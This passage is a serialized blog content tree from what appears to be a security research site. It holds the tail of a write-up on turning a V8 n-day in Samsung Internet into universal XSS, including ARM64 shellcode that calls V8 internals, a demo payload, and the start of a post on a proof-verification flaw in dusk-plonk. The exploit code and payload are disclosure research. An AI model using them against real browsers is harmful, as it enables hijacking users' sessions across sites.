x1\n",{"type":23,"tag":504,"props":143073,"children":143074},{"class":5016,"line":5349},[143075],{"type":23,"tag":504,"props":143076,"children":143077},{},[143078],{"type":29,"value":143079},"blr x9\n",{"type":23,"tag":504,"props":143081,"children":143082},{"class":5016,"line":5367},[143083],{"type":23,"tag":504,"props":143084,"children":143085},{},[143086],{"type":29,"value":143087},"// *x0 is isolate pointer\n",{"type":23,"tag":504,"props":143089,"children":143090},{"class":5016,"line":5388},[143091],{"type":23,"tag":504,"props":143092,"children":143093},{},[143094],{"type":29,"value":143095},"// store isolate ptr to stack\n",{"type":23,"tag":504,"props":143097,"children":143098},{"class":5016,"line":5397},[143099],{"type":23,"tag":504,"props":143100,"children":143101},{},[143102],{"type":29,"value":143103},"ldr x13, [x0]\n",{"type":23,"tag":504,"props":143105,"children":143106},{"class":5016,"line":5649},[143107],{"type":23,"tag":504,"props":143108,"children":143109},{},[143110],{"type":29,"value":143111},"str x13, [sp, #-16]!\n",{"type":23,"tag":504,"props":143113,"children":143114},{"class":5016,"line":5666},[143115],{"type":23,"tag":504,"props":143116,"children":143117},{"emptyLinePlaceholder":15},[143118],{"type":29,"value":5734},{"type":23,"tag":504,"props":143120,"children":143121},{"class":5016,"line":5683},[143122],{"type":23,"tag":504,"props":143123,"children":143124},{},[143125],{"type":29,"value":143126},"// store x10 = v8::String::NewFromUTF8\n",{"type":23,"tag":504,"props":143128,"children":143129},{"class":5016,"line":5696},[143130],{"type":23,"tag":504,"props":143131,"children":143132},{},[143133],{"type":29,"value":143134},"movz x1, #0x1140\n",{"type":23,"tag":504,"props":143136,"children":143137},{"class":5016,"line":5705},[143138],{"type":23,"tag":504,"props":143139,"children":143140},{},[143141],{"type":29,"value":143142},"movk x1, #0x0242, lsl #16\n",{"type":23,"tag":504,"props":143144,"children":143145},{"class":5016,"line":5728},[143146],{"type":23,"tag":504,"props":143147,"children":143148},{},[143149],{"type":29,"value":143150},"sub x10, x12, x1\n",{"type":23,"tag":504,"props":143152,"children":143153},{"class":5016,"line":5737},[143154],{"type":23,"tag":504,"props":143155,"children":143156},{"emptyLinePlaceholder":15},[143157],{"type":29,"value":5734},{"type":23,"tag":504,"props":143159,"children":143160},{"class":5016,"line":5746},[143161],{"type":23,"tag":504,"props":143162,"children":143163},{},[143164],{"type":29,"value":143165},"// mmap a RW page for our xss payload\n",{"type":23,"tag":504,"props":143167,"children":143168},{"class":5016,"line":5813},[143169],{"type":23,"tag":504,"props":143170,"children":143171},{},[143172],{"type":29,"value":141516},{"type":23,"tag":504,"props":143174,"children":143175},{"class":5016,"line":5821},[143176],{"type":23,"tag":504,"props":143177,"children":143178},{},[143179],{"type":29,"value":143180},"mov x1, #{page_align(len(XSS_PAYLOAD))}\n",{"type":23,"tag":504,"props":143182,"children":143183},{"class":5016,"line":5851},[143184],{"type":23,"tag":504,"props":143185,"children":143186},{},[143187],{"type":29,"value":143188},"mov x2, #3\n",{"type":23,"tag":504,"props":143190,"children":143191},{"class":5016,"line":5859},[143192],{"type":23,"tag":504,"props":143193,"children":143194},{},[143195],{"type":29,"value":141539},{"type":23,"tag":504,"props":143197,"children":143198},{"class":5016,"line":5891},[143199],{"type":23,"tag":504,"props":143200,"children":143201},{},[143202],{"type":29,"value":141547},{"type":23,"tag":504,"props":143204,"children":143205},{"class":5016,"line":5899},[143206],{"type":23,"tag":504,"props":143207,"children":143208},{},[143209],{"type":29,"value":141555},{"type":23,"tag":504,"props":143211,"children":143212},{"class":5016,"line":5959},[143213],{"type":23,"tag":504,"props":143214,"children":143215},{},[143216],{"type":29,"value":141563},{"type":23,"tag":504,"props":143218,"children":143219},{"class":5016,"line":11093},[143220],{"type":23,"tag":504,"props":143221,"children":143222},{},[143223],{"type":29,"value":141478},{"type":23,"tag":504,"props":143225,"children":143226},{"class":5016,"line":11111},[143227],{"type":23,"tag":504,"props":143228,"children":143229},{"emptyLinePlaceholder":15},[143230],{"type":29,"value":5734},{"type":23,"tag":504,"props":143232,"children":143233},{"class":5016,"line":11156},[143234],{"type":23,"tag":504,"props":143235,"children":143236},{},[143237],{"type":29,"value":143238},"// write our xss payload to mmapped rw page\n",{"type":23,"tag":504,"props":143240,"children":143241},{"class":5016,"line":11262},[143242],{"type":23,"tag":504,"props":143243,"children":143244},{},[143245],{"type":29,"value":143246},"{write_str(XSS_PAYLOAD, \"x0\")}\n",{"type":23,"tag":504,"props":143248,"children":143249},{"class":5016,"line":25550},[143250],{"type":23,"tag":504,"props":143251,"children":143252},{"emptyLinePlaceholder":15},[143253],{"type":29,"value":5734},{"type":23,"tag":504,"props":143255,"children":143256},{"class":5016,"line":25585},[143257],{"type":23,"tag":504,"props":143258,"children":143259},{},[143260],{"type":29,"value":143261},"// store x11 = XSS_PAYLOAD string\n",{"type":23,"tag":504,"props":143263,"children":143264},{"class":5016,"line":25593},[143265],{"type":23,"tag":504,"props":143266,"children":143267},{},[143268],{"type":29,"value":143269},"mov x11, x0\n",{"type":23,"tag":504,"props":143271,"children":143272},{"class":5016,"line":25601},[143273],{"type":23,"tag":504,"props":143274,"children":143275},{"emptyLinePlaceholder":15},[143276],{"type":29,"value":5734},{"type":23,"tag":504,"props":143278,"children":143279},{"class":5016,"line":25610},[143280],{"type":23,"tag":504,"props":143281,"children":143282},{},[143283],{"type":29,"value":143284},"// pop back isolate pointer\n",{"type":23,"tag":504,"props":143286,"children":143287},{"class":5016,"line":25652},[143288],{"type":23,"tag":504,"props":143289,"children":143290},{},[143291],{"type":29,"value":143292},"ldr x13, [sp], #16\n",{"type":23,"tag":504,"props":143294,"children":143295},{"class":5016,"line":25685},[143296],{"type":23,"tag":504,"props":143297,"children":143298},{"emptyLinePlaceholder":15},[143299],{"type":29,"value":5734},{"type":23,"tag":504,"props":143301,"children":143302},{"class":5016,"line":25693},[143303],{"type":23,"tag":504,"props":143304,"children":143305},{},[143306],{"type":29,"value":141599},{"type":23,"tag":504,"props":143308,"children":143309},{"class":5016,"line":25701},[143310],{"type":23,"tag":504,"props":143311,"children":143312},{},[143313],{"type":29,"value":143314},"// x13 = isolate *\n",{"type":23,"tag":504,"props":143316,"children":143317},{"class":5016,"line":25710},[143318],{"type":23,"tag":504,"props":143319,"children":143320},{},[143321],{"type":29,"value":143322},"// x11 = XSS_PAYLOAD string mmapped region\n",{"type":23,"tag":504,"props":143324,"children":143325},{"class":5016,"line":25786},[143326],{"type":23,"tag":504,"props":143327,"children":143328},{},[143329],{"type":29,"value":143330},"// x10 = v8::String::NewFromUtf8\n",{"type":23,"tag":504,"props":143332,"children":143333},{"class":5016,"line":25819},[143334],{"type":23,"tag":504,"props":143335,"children":143336},{"emptyLinePlaceholder":15},[143337],{"type":29,"value":5734},{"type":23,"tag":504,"props":143339,"children":143340},{"class":5016,"line":25827},[143341],{"type":23,"tag":504,"props":143342,"children":143343},{},[143344],{"type":29,"value":143345},"// call v8::String::NewFromUTF8 with our xss_payload\n",{"type":23,"tag":504,"props":143347,"children":143348},{"class":5016,"line":25835},[143349],{"type":23,"tag":504,"props":143350,"children":143351},{},[143352],{"type":29,"value":143353},"// arg0 = isolate *\n",{"type":23,"tag":504,"props":143355,"children":143356},{"class":5016,"line":25872},[143357],{"type":23,"tag":504,"props":143358,"children":143359},{},[143360],{"type":29,"value":143361},"mov x0, x13\n",{"type":23,"tag":504,"props":143363,"children":143364},{"class":5016,"line":25885},[143365],{"type":23,"tag":504,"props":143366,"children":143367},{},[143368],{"type":29,"value":143369},"// arg1 = char *c_str\n",{"type":23,"tag":504,"props":143371,"children":143372},{"class":5016,"line":25898},[143373],{"type":23,"tag":504,"props":143374,"children":143375},{},[143376],{"type":29,"value":143377},"mov x1, x11\n",{"type":23,"tag":504,"props":143379,"children":143380},{"class":5016,"line":25911},[143381],{"type":23,"tag":504,"props":143382,"children":143383},{},[143384],{"type":29,"value":143385},"// arg2 = type = kNormal\n",{"type":23,"tag":504,"props":143387,"children":143388},{"class":5016,"line":25965},[143389],{"type":23,"tag":504,"props":143390,"children":143391},{},[143392],{"type":29,"value":143393},"mov x2, #0\n",{"type":23,"tag":504,"props":143395,"children":143396},{"class":5016,"line":25974},[143397],{"type":23,"tag":504,"props":143398,"children":143399},{},[143400],{"type":29,"value":143401},"// arg4 = length\n",{"type":23,"tag":504,"props":143403,"children":143404},{"class":5016,"line":34336},[143405],{"type":23,"tag":504,"props":143406,"children":143407},{},[143408],{"type":29,"value":143409},"mov w3, #{len(XSS_PAYLOAD)}\n",{"type":23,"tag":504,"props":143411,"children":143412},{"class":5016,"line":34357},[143413],{"type":23,"tag":504,"props":143414,"children":143415},{},[143416],{"type":29,"value":143417},"// call NewFromUTF8\n",{"type":23,"tag":504,"props":143419,"children":143420},{"class":5016,"line":83015},[143421],{"type":23,"tag":504,"props":143422,"children":143423},{},[143424],{"type":29,"value":143425},"blr x10\n",{"type":23,"tag":504,"props":143427,"children":143428},{"class":5016,"line":83028},[143429],{"type":23,"tag":504,"props":143430,"children":143431},{"emptyLinePlaceholder":15},[143432],{"type":29,"value":5734},{"type":23,"tag":504,"props":143434,"children":143435},{"class":5016,"line":83036},[143436],{"type":23,"tag":504,"props":143437,"children":143438},{},[143439],{"type":29,"value":143440},"// store x14 = String XSS_PAYLOAD\n",{"type":23,"tag":504,"props":143442,"children":143443},{"class":5016,"line":83044},[143444],{"type":23,"tag":504,"props":143445,"children":143446},{},[143447],{"type":29,"value":143448},"mov x14, x0\n",{"type":23,"tag":504,"props":143450,"children":143451},{"class":5016,"line":83052},[143452],{"type":23,"tag":504,"props":143453,"children":143454},{"emptyLinePlaceholder":15},[143455],{"type":29,"value":5734},{"type":23,"tag":504,"props":143457,"children":143458},{"class":5016,"line":83092},[143459],{"type":23,"tag":504,"props":143460,"children":143461},{},[143462],{"type":29,"value":143463},"// store x9 = v8::internal::DebugEvaluate::Global\n",{"type":23,"tag":504,"props":143465,"children":143466},{"class":5016,"line":83100},[143467],{"type":23,"tag":504,"props":143468,"children":143469},{},[143470],{"type":29,"value":143471},"movz x1, #0xe44c\n",{"type":23,"tag":504,"props":143473,"children":143474},{"class":5016,"line":90286},[143475],{"type":23,"tag":504,"props":143476,"children":143477},{},[143478],{"type":29,"value":143479},"movk x1, #0x014e, lsl #16\n",{"type":23,"tag":504,"props":143481,"children":143482},{"class":5016,"line":90294},[143483],{"type":23,"tag":504,"props":143484,"children":143485},{},[143486],{"type":29,"value":143487},"sub x9, x12, x1\n",{"type":23,"tag":504,"props":143489,"children":143490},{"class":5016,"line":103356},[143491],{"type":23,"tag":504,"props":143492,"children":143493},{"emptyLinePlaceholder":15},[143494],{"type":29,"value":5734},{"type":23,"tag":504,"props":143496,"children":143497},{"class":5016,"line":103364},[143498],{"type":23,"tag":504,"props":143499,"children":143500},{},[143501],{"type":29,"value":143502},"// call v8::internal::DebugEvaluate::Global\n",{"type":23,"tag":504,"props":143504,"children":143505},{"class":5016,"line":103372},[143506],{"type":23,"tag":504,"props":143507,"children":143508},{},[143509],{"type":29,"value":143353},{"type":23,"tag":504,"props":143511,"children":143512},{"class":5016,"line":103380},[143513],{"type":23,"tag":504,"props":143514,"children":143515},{},[143516],{"type":29,"value":143361},{"type":23,"tag":504,"props":143518,"children":143519},{"class":5016,"line":103408},[143520],{"type":23,"tag":504,"props":143521,"children":143522},{},[143523],{"type":29,"value":143524},"// arg1 = String *source\n",{"type":23,"tag":504,"props":143526,"children":143527},{"class":5016,"line":106179},[143528],{"type":23,"tag":504,"props":143529,"children":143530},{},[143531],{"type":29,"value":143532},"mov x1, x14\n",{"type":23,"tag":504,"props":143534,"children":143535},{"class":5016,"line":106187},[143536],{"type":23,"tag":504,"props":143537,"children":143538},{},[143539],{"type":29,"value":143540},"// arg2 = mode = kDefault\n",{"type":23,"tag":504,"props":143542,"children":143544},{"class":5016,"line":143543},69,[143545],{"type":23,"tag":504,"props":143546,"children":143547},{},[143548],{"type":29,"value":143393},{"type":23,"tag":504,"props":143550,"children":143552},{"class":5016,"line":143551},70,[143553],{"type":23,"tag":504,"props":143554,"children":143555},{},[143556],{"type":29,"value":143557},"// arg3 = repl_mode = kYes\n",{"type":23,"tag":504,"props":143559,"children":143561},{"class":5016,"line":143560},71,[143562],{"type":23,"tag":504,"props":143563,"children":143564},{},[143565],{"type":29,"value":143566},"mov x3, #0\n",{"type":23,"tag":504,"props":143568,"children":143570},{"class":5016,"line":143569},72,[143571],{"type":23,"tag":504,"props":143572,"children":143573},{"emptyLinePlaceholder":15},[143574],{"type":29,"value":5734},{"type":23,"tag":504,"props":143576,"children":143578},{"class":5016,"line":143577},73,[143579],{"type":23,"tag":504,"props":143580,"children":143581},{},[143582],{"type":29,"value":143079},{"type":23,"tag":320,"props":143584,"children":143586},{"id":143585},"uxss-demo",[143587],{"type":29,"value":143588},"UXSS Demo",{"type":23,"tag":32,"props":143590,"children":143591},{},[143592,143594,143600],{"type":29,"value":143593},"Below is a demo that executes the following UXSS payload: ",{"type":23,"tag":154,"props":143595,"children":143597},{"className":143596},[],[143598],{"type":29,"value":143599},"alert(document.domain); window.location.href = \"https://cor.team/\";",{"type":29,"value":357},{"type":23,"tag":133637,"props":143602,"children":143605},{"className":143603,"controls":15},[143604],"blog-video-responsive",[143606,143608,143612],{"type":29,"value":143607},"\n  ",{"type":23,"tag":142843,"props":143609,"children":143611},{"src":143610,"type":133635},"/posts/mobile-renderer-rce/demo.mp4",[],{"type":29,"value":143613},"\n  Your browser does not support the video tag.\n",{"type":23,"tag":24,"props":143615,"children":143616},{"id":4832},[143617],{"type":29,"value":4835},{"type":23,"tag":32,"props":143619,"children":143620},{},[143621],{"type":29,"value":143622},"Given the complex nature of the modern software ecosystem, it is unsurprising to find core out of date libraries in popular applications. Samsung Internet relied on a six month old version of V8, a JavaScript engine where researchers frequently discover new vulnerabilities, providing us a large window for n-day exploitation.",{"type":23,"tag":32,"props":143624,"children":143625},{},[143626],{"type":29,"value":143627},"While renderer bugs are usually chained with another exploit such as a sandbox escape, we pushed the capabilities of the bug by targeting the weaker Site Isolation mechanism on mobile. As most web pages ran under the same process, we could inject shellcode into the JavaScript interpreter to achieve universal XSS in Samsung Internet browser.",{"type":23,"tag":7410,"props":143629,"children":143630},{},[143631],{"type":29,"value":7414},{"title":7,"searchDepth":4868,"depth":4868,"links":143633},[143634,143638,143641,143651],{"id":31069,"depth":4868,"text":31072,"children":143635},[143636,143637],{"id":133771,"depth":4876,"text":133774},{"id":133854,"depth":4876,"text":133857},{"id":133887,"depth":4868,"text":133890,"children":143639},[143640],{"id":134028,"depth":4876,"text":133882},{"id":134172,"depth":4868,"text":134175,"children":143642},[143643,143644,143645,143646,143647,143648,143649,143650],{"id":134178,"depth":4876,"text":134181},{"id":134635,"depth":4876,"text":134638},{"id":134818,"depth":4876,"text":134821},{"id":134929,"depth":4876,"text":134932},{"id":135206,"depth":4876,"text":135209},{"id":137916,"depth":4876,"text":137919},{"id":141197,"depth":4876,"text":141200},{"id":143585,"depth":4876,"text":143588},{"id":4832,"depth":4868,"text":4835},"content:blog:2026-04-01-patch-gap-to-mobile-renderer-rce.md","blog/2026-04-01-patch-gap-to-mobile-renderer-rce.md","blog/2026-04-01-patch-gap-to-mobile-renderer-rce",{"_path":143656,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":143657,"description":143658,"date":143659,"author":143660,"image":143661,"isFeatured":15,"onBlogPage":15,"tags":143663,"body":143666,"_type":4892,"_id":148930,"_source":4894,"_file":148931,"_stem":148932,"_extension":4897},"/blog/2026-04-30-unverified-evaluations-dusk-plonk","Unverified Evaluations in Dusk's PLONK","Dusk's privacy layer protects ~$60M of DUSK and hinges on one proof check. dusk-plonk's verifier never validated four of the prover's polynomial commitments, enough to mint DUSK from nothing and forge shielded spends the network confirmed as real.","2026-04-30T12:00:00.000Z",[109617,109618],{"src":143662,"width":99047,"height":14},"/posts/dusk-commitment-issues/title.png",[143664,143665],"dusk","plonk",{"type":20,"children":143667,"toc":148910},[143668,143674,143715,143727,143733,143747,143752,143758,144049,144053,144325,144555,144561,145246,145250,145745,145753,145759,145778,145783,145789,146014,146053,146064,146070,146081,146789,146794,146797,146803,146856,146891,146923,146928,146932,146935,146941,146952,146965,146996,147063,147071,147093,147106,147533,147556,147561,147564,147569,147596,147692,147703,147750,147788,147799,148137,148154,148162,148165,148171,148176,148210,148218,148299,148302,148308,148322,148340,148345,148385,148393,148414,148417,148423,148428,148493,148507,148510,148516,148556,148567,148572,148577,148583,148597,148678,148699,148726,148729,148735,148749,148754,148759,148764,148899,148905],{"type":23,"tag":37429,"props":143669,"children":143671},{"id":143670},"commitment-issues-unverified-evaluations-in-dusks-plonk",[143672],{"type":29,"value":143673},"Commitment Issues: Unverified Evaluations in Dusk's PLONK",{"type":23,"tag":32,"props":143675,"children":143676},{},[143677,143679,143686,143688,143695,143697,143704,143706,143713],{"type":29,"value":143678},"We found a critical soundness vulnerability in ",{"type":23,"tag":68,"props":143680,"children":143683},{"href":143681,"rel":143682},"https://github.com/dusk-network/plonk/",[72],[143684],{"type":29,"value":143685},"dusk-plonk",{"type":29,"value":143687},", the PLONK implementation powering ",{"type":23,"tag":68,"props":143689,"children":143692},{"href":143690,"rel":143691},"https://dusk.network/",[72],[143693],{"type":29,"value":143694},"Dusk Network's",{"type":29,"value":143696}," ~$60M ",{"type":23,"tag":68,"props":143698,"children":143701},{"href":143699,"rel":143700},"https://www.coingecko.com/en/coins/dusk",[72],[143702],{"type":29,"value":143703},"market cap",{"type":29,"value":143705},". By exploiting a gap in the verification step, a malicious prover could forge verifying proofs for arbitrary false statements, bypassing every constraint in the transaction circuit. On the live ",{"type":23,"tag":68,"props":143707,"children":143710},{"href":143708,"rel":143709},"https://github.com/dusk-network/rusk",[72],[143711],{"type":29,"value":143712},"Rusk",{"type":29,"value":143714}," network, this would have enabled minting arbitrary amounts of DUSK and moving forged shielded funds through the normal Phoenix path.",{"type":23,"tag":32,"props":143716,"children":143717},{},[143718,143720,143725],{"type":29,"value":143719},"The root cause was that the prover slipped four public selector evaluations into the proof struct, and the verifier consumed them in its final equation ",{"type":23,"tag":38,"props":143721,"children":143722},{},[143723],{"type":29,"value":143724},"without ever validating them against the trusted commitments in the verifier key.",{"type":29,"value":143726}," The prover can set them to whatever values make the equation pass.",{"type":23,"tag":24,"props":143728,"children":143730},{"id":143729},"how-plonk-works-briefly",[143731],{"type":29,"value":143732},"How PLONK works (briefly)",{"type":23,"tag":32,"props":143734,"children":143735},{},[143736,143738,143745],{"type":29,"value":143737},"For a rigorous treatment see the ",{"type":23,"tag":68,"props":143739,"children":143742},{"href":143740,"rel":143741},"https://eprint.iacr.org/2019/953",[72],[143743],{"type":29,"value":143744},"original paper",{"type":29,"value":143746},"; what follows covers only the parts needed to understand the bug.",{"type":23,"tag":32,"props":143748,"children":143749},{},[143750],{"type":29,"value":143751},"A prover wants to convince a verifier that it knows secret inputs satisfying some computation (an arithmetic circuit) without revealing those inputs, and the resulting proof should be short and quick to verify.",{"type":23,"tag":320,"props":143753,"children":143755},{"id":143754},"arithmetic-circuits-and-constraints",[143756],{"type":29,"value":143757},"Arithmetic circuits and constraints",{"type":23,"tag":32,"props":143759,"children":143760},{},[143761,143763,143812,143814,143963,143965,144048],{"type":29,"value":143762},"An arithmetic circuit is a series of addition and multiplication gates wired together. An example would be proving that we know of some point ",{"type":23,"tag":154,"props":143764,"children":143766},{"className":143765},[500,501],[143767],{"type":23,"tag":504,"props":143768,"children":143770},{"className":143769},[507],[143771],{"type":23,"tag":504,"props":143772,"children":143774},{"className":143773,"ariaHidden":513},[512],[143775],{"type":23,"tag":504,"props":143776,"children":143778},{"className":143777},[518],[143779,143783,143788,143793,143798,143802,143807],{"type":23,"tag":504,"props":143780,"children":143782},{"className":143781,"style":2160},[523],[],{"type":23,"tag":504,"props":143784,"children":143786},{"className":143785},[600],[143787],{"type":29,"value":603},{"type":23,"tag":504,"props":143789,"children":143791},{"className":143790},[529,530],[143792],{"type":29,"value":21327},{"type":23,"tag":504,"props":143794,"children":143796},{"className":143795},[2267],[143797],{"type":29,"value":2270},{"type":23,"tag":504,"props":143799,"children":143801},{"className":143800,"style":2274},[537],[],{"type":23,"tag":504,"props":143803,"children":143805},{"className":143804,"style":1136},[529,530],[143806],{"type":29,"value":1164},{"type":23,"tag":504,"props":143808,"children":143810},{"className":143809},[930],[143811],{"type":29,"value":933},{"type":29,"value":143813}," on an elliptic curve, by e.g proving that ",{"type":23,"tag":154,"props":143815,"children":143817},{"className":143816},[500,501],[143818],{"type":23,"tag":504,"props":143819,"children":143821},{"className":143820},[507],[143822],{"type":23,"tag":504,"props":143823,"children":143825},{"className":143824,"ariaHidden":513},[512],[143826,143888,143950],{"type":23,"tag":504,"props":143827,"children":143829},{"className":143828},[518],[143830,143834,143875,143879,143884],{"type":23,"tag":504,"props":143831,"children":143833},{"className":143832,"style":125163},[523],[],{"type":23,"tag":504,"props":143835,"children":143837},{"className":143836},[529],[143838,143843],{"type":23,"tag":504,"props":143839,"children":143841},{"className":143840,"style":1136},[529,530],[143842],{"type":29,"value":1164},{"type":23,"tag":504,"props":143844,"children":143846},{"className":143845},[666],[143847],{"type":23,"tag":504,"props":143848,"children":143850},{"className":143849},[671],[143851],{"type":23,"tag":504,"props":143852,"children":143854},{"className":143853},[677],[143855],{"type":23,"tag":504,"props":143856,"children":143858},{"className":143857,"style":6065},[682],[143859],{"type":23,"tag":504,"props":143860,"children":143861},{"style":6099},[143862,143866],{"type":23,"tag":504,"props":143863,"children":143865},{"className":143864,"style":693},[692],[],{"type":23,"tag":504,"props":143867,"children":143869},{"className":143868},[698,699,700,701],[143870],{"type":23,"tag":504,"props":143871,"children":143873},{"className":143872},[529,701],[143874],{"type":29,"value":5164},{"type":23,"tag":504,"props":143876,"children":143878},{"className":143877,"style":538},[537],[],{"type":23,"tag":504,"props":143880,"children":143882},{"className":143881},[543],[143883],{"type":29,"value":546},{"type":23,"tag":504,"props":143885,"children":143887},{"className":143886,"style":538},[537],[],{"type":23,"tag":504,"props":143889,"children":143891},{"className":143890},[518],[143892,143896,143937,143941,143946],{"type":23,"tag":504,"props":143893,"children":143895},{"className":143894,"style":125038},[523],[],{"type":23,"tag":504,"props":143897,"children":143899},{"className":143898},[529],[143900,143905],{"type":23,"tag":504,"props":143901,"children":143903},{"className":143902},[529,530],[143904],{"type":29,"value":21327},{"type":23,"tag":504,"props":143906,"children":143908},{"className":143907},[666],[143909],{"type":23,"tag":504,"props":143910,"children":143912},{"className":143911},[671],[143913],{"type":23,"tag":504,"props":143914,"children":143916},{"className":143915},[677],[143917],{"type":23,"tag":504,"props":143918,"children":143920},{"className":143919,"style":6065},[682],[143921],{"type":23,"tag":504,"props":143922,"children":143923},{"style":6099},[143924,143928],{"type":23,"tag":504,"props":143925,"children":143927},{"className":143926,"style":693},[692],[],{"type":23,"tag":504,"props":143929,"children":143931},{"className":143930},[698,699,700,701],[143932],{"type":23,"tag":504,"props":143933,"children":143935},{"className":143934},[529,701],[143936],{"type":29,"value":19344},{"type":23,"tag":504,"props":143938,"children":143940},{"className":143939,"style":1426},[537],[],{"type":23,"tag":504,"props":143942,"children":143944},{"className":143943},[1431],[143945],{"type":29,"value":6422},{"type":23,"tag":504,"props":143947,"children":143949},{"className":143948,"style":1426},[537],[],{"type":23,"tag":504,"props":143951,"children":143953},{"className":143952},[518],[143954,143958],{"type":23,"tag":504,"props":143955,"children":143957},{"className":143956,"style":1690},[523],[],{"type":23,"tag":504,"props":143959,"children":143961},{"className":143960},[529],[143962],{"type":29,"value":56732},{"type":29,"value":143964},", here in ",{"type":23,"tag":154,"props":143966,"children":143968},{"className":143967},[500,501],[143969],{"type":23,"tag":504,"props":143970,"children":143972},{"className":143971},[507],[143973],{"type":23,"tag":504,"props":143974,"children":143976},{"className":143975,"ariaHidden":513},[512],[143977],{"type":23,"tag":504,"props":143978,"children":143980},{"className":143979},[518],[143981,143986],{"type":23,"tag":504,"props":143982,"children":143985},{"className":143983,"style":143984},[523],"height:0.8389em;vertical-align:-0.15em;",[],{"type":23,"tag":504,"props":143987,"children":143989},{"className":143988},[529],[143990,143995],{"type":23,"tag":504,"props":143991,"children":143993},{"className":143992},[529,123601],[143994],{"type":29,"value":123604},{"type":23,"tag":504,"props":143996,"children":143998},{"className":143997},[666],[143999],{"type":23,"tag":504,"props":144000,"children":144002},{"className":144001},[671,672],[144003,144037],{"type":23,"tag":504,"props":144004,"children":144006},{"className":144005},[677],[144007,144032],{"type":23,"tag":504,"props":144008,"children":144010},{"className":144009,"style":683},[682],[144011],{"type":23,"tag":504,"props":144012,"children":144013},{"style":687},[144014,144018],{"type":23,"tag":504,"props":144015,"children":144017},{"className":144016,"style":693},[692],[],{"type":23,"tag":504,"props":144019,"children":144021},{"className":144020},[698,699,700,701],[144022],{"type":23,"tag":504,"props":144023,"children":144025},{"className":144024},[529,701],[144026],{"type":23,"tag":504,"props":144027,"children":144029},{"className":144028},[529,701],[144030],{"type":29,"value":144031},"37",{"type":23,"tag":504,"props":144033,"children":144035},{"className":144034},[712],[144036],{"type":29,"value":715},{"type":23,"tag":504,"props":144038,"children":144040},{"className":144039},[677],[144041],{"type":23,"tag":504,"props":144042,"children":144044},{"className":144043,"style":723},[682],[144045],{"type":23,"tag":504,"props":144046,"children":144047},{},[],{"type":29,"value":357},{"type":23,"tag":144050,"props":144051,"children":144052},"arithmetic-circuit-widget",{},[],{"type":23,"tag":32,"props":144054,"children":144055},{},[144056,144058,144084,144086,144165,144167,144244,144246,144323],{"type":29,"value":144057},"Each gate ",{"type":23,"tag":154,"props":144059,"children":144061},{"className":144060},[500,501],[144062],{"type":23,"tag":504,"props":144063,"children":144065},{"className":144064},[507],[144066],{"type":23,"tag":504,"props":144067,"children":144069},{"className":144068,"ariaHidden":513},[512],[144070],{"type":23,"tag":504,"props":144071,"children":144073},{"className":144072},[518],[144074,144079],{"type":23,"tag":504,"props":144075,"children":144078},{"className":144076,"style":144077},[523],"height:0.6595em;",[],{"type":23,"tag":504,"props":144080,"children":144082},{"className":144081},[529,530],[144083],{"type":29,"value":578},{"type":29,"value":144085}," has a left input ",{"type":23,"tag":154,"props":144087,"children":144089},{"className":144088},[500,501],[144090],{"type":23,"tag":504,"props":144091,"children":144093},{"className":144092},[507],[144094],{"type":23,"tag":504,"props":144095,"children":144097},{"className":144096,"ariaHidden":513},[512],[144098],{"type":23,"tag":504,"props":144099,"children":144101},{"className":144100},[518],[144102,144107],{"type":23,"tag":504,"props":144103,"children":144106},{"className":144104,"style":144105},[523],"height:0.8444em;vertical-align:-0.15em;",[],{"type":23,"tag":504,"props":144108,"children":144110},{"className":144109},[529],[144111,144116],{"type":23,"tag":504,"props":144112,"children":144114},{"className":144113,"style":637},[529,530],[144115],{"type":29,"value":640},{"type":23,"tag":504,"props":144117,"children":144119},{"className":144118},[666],[144120],{"type":23,"tag":504,"props":144121,"children":144123},{"className":144122},[671,672],[144124,144154],{"type":23,"tag":504,"props":144125,"children":144127},{"className":144126},[677],[144128,144149],{"type":23,"tag":504,"props":144129,"children":144131},{"className":144130,"style":1180},[682],[144132],{"type":23,"tag":504,"props":144133,"children":144135},{"style":144134},"top:-2.55em;margin-left:-0.0197em;margin-right:0.05em;",[144136,144140],{"type":23,"tag":504,"props":144137,"children":144139},{"className":144138,"style":693},[692],[],{"type":23,"tag":504,"props":144141,"children":144143},{"className":144142},[698,699,700,701],[144144],{"type":23,"tag":504,"props":144145,"children":144147},{"className":144146},[529,530,701],[144148],{"type":29,"value":578},{"type":23,"tag":504,"props":144150,"children":144152},{"className":144151},[712],[144153],{"type":29,"value":715},{"type":23,"tag":504,"props":144155,"children":144157},{"className":144156},[677],[144158],{"type":23,"tag":504,"props":144159,"children":144161},{"className":144160,"style":723},[682],[144162],{"type":23,"tag":504,"props":144163,"children":144164},{},[],{"type":29,"value":144166},", right input ",{"type":23,"tag":154,"props":144168,"children":144170},{"className":144169},[500,501],[144171],{"type":23,"tag":504,"props":144172,"children":144174},{"className":144173},[507],[144175],{"type":23,"tag":504,"props":144176,"children":144178},{"className":144177,"ariaHidden":513},[512],[144179],{"type":23,"tag":504,"props":144180,"children":144182},{"className":144181},[518],[144183,144187],{"type":23,"tag":504,"props":144184,"children":144186},{"className":144185,"style":111796},[523],[],{"type":23,"tag":504,"props":144188,"children":144190},{"className":144189},[529],[144191,144196],{"type":23,"tag":504,"props":144192,"children":144194},{"className":144193,"style":624},[529,530],[144195],{"type":29,"value":1477},{"type":23,"tag":504,"props":144197,"children":144199},{"className":144198},[666],[144200],{"type":23,"tag":504,"props":144201,"children":144203},{"className":144202},[671,672],[144204,144233],{"type":23,"tag":504,"props":144205,"children":144207},{"className":144206},[677],[144208,144228],{"type":23,"tag":504,"props":144209,"children":144211},{"className":144210,"style":1180},[682],[144212],{"type":23,"tag":504,"props":144213,"children":144214},{"style":111825},[144215,144219],{"type":23,"tag":504,"props":144216,"children":144218},{"className":144217,"style":693},[692],[],{"type":23,"tag":504,"props":144220,"children":144222},{"className":144221},[698,699,700,701],[144223],{"type":23,"tag":504,"props":144224,"children":144226},{"className":144225},[529,530,701],[144227],{"type":29,"value":578},{"type":23,"tag":504,"props":144229,"children":144231},{"className":144230},[712],[144232],{"type":29,"value":715},{"type":23,"tag":504,"props":144234,"children":144236},{"className":144235},[677],[144237],{"type":23,"tag":504,"props":144238,"children":144240},{"className":144239,"style":723},[682],[144241],{"type":23,"tag":504,"props":144242,"children":144243},{},[],{"type":29,"value":144245},", and output 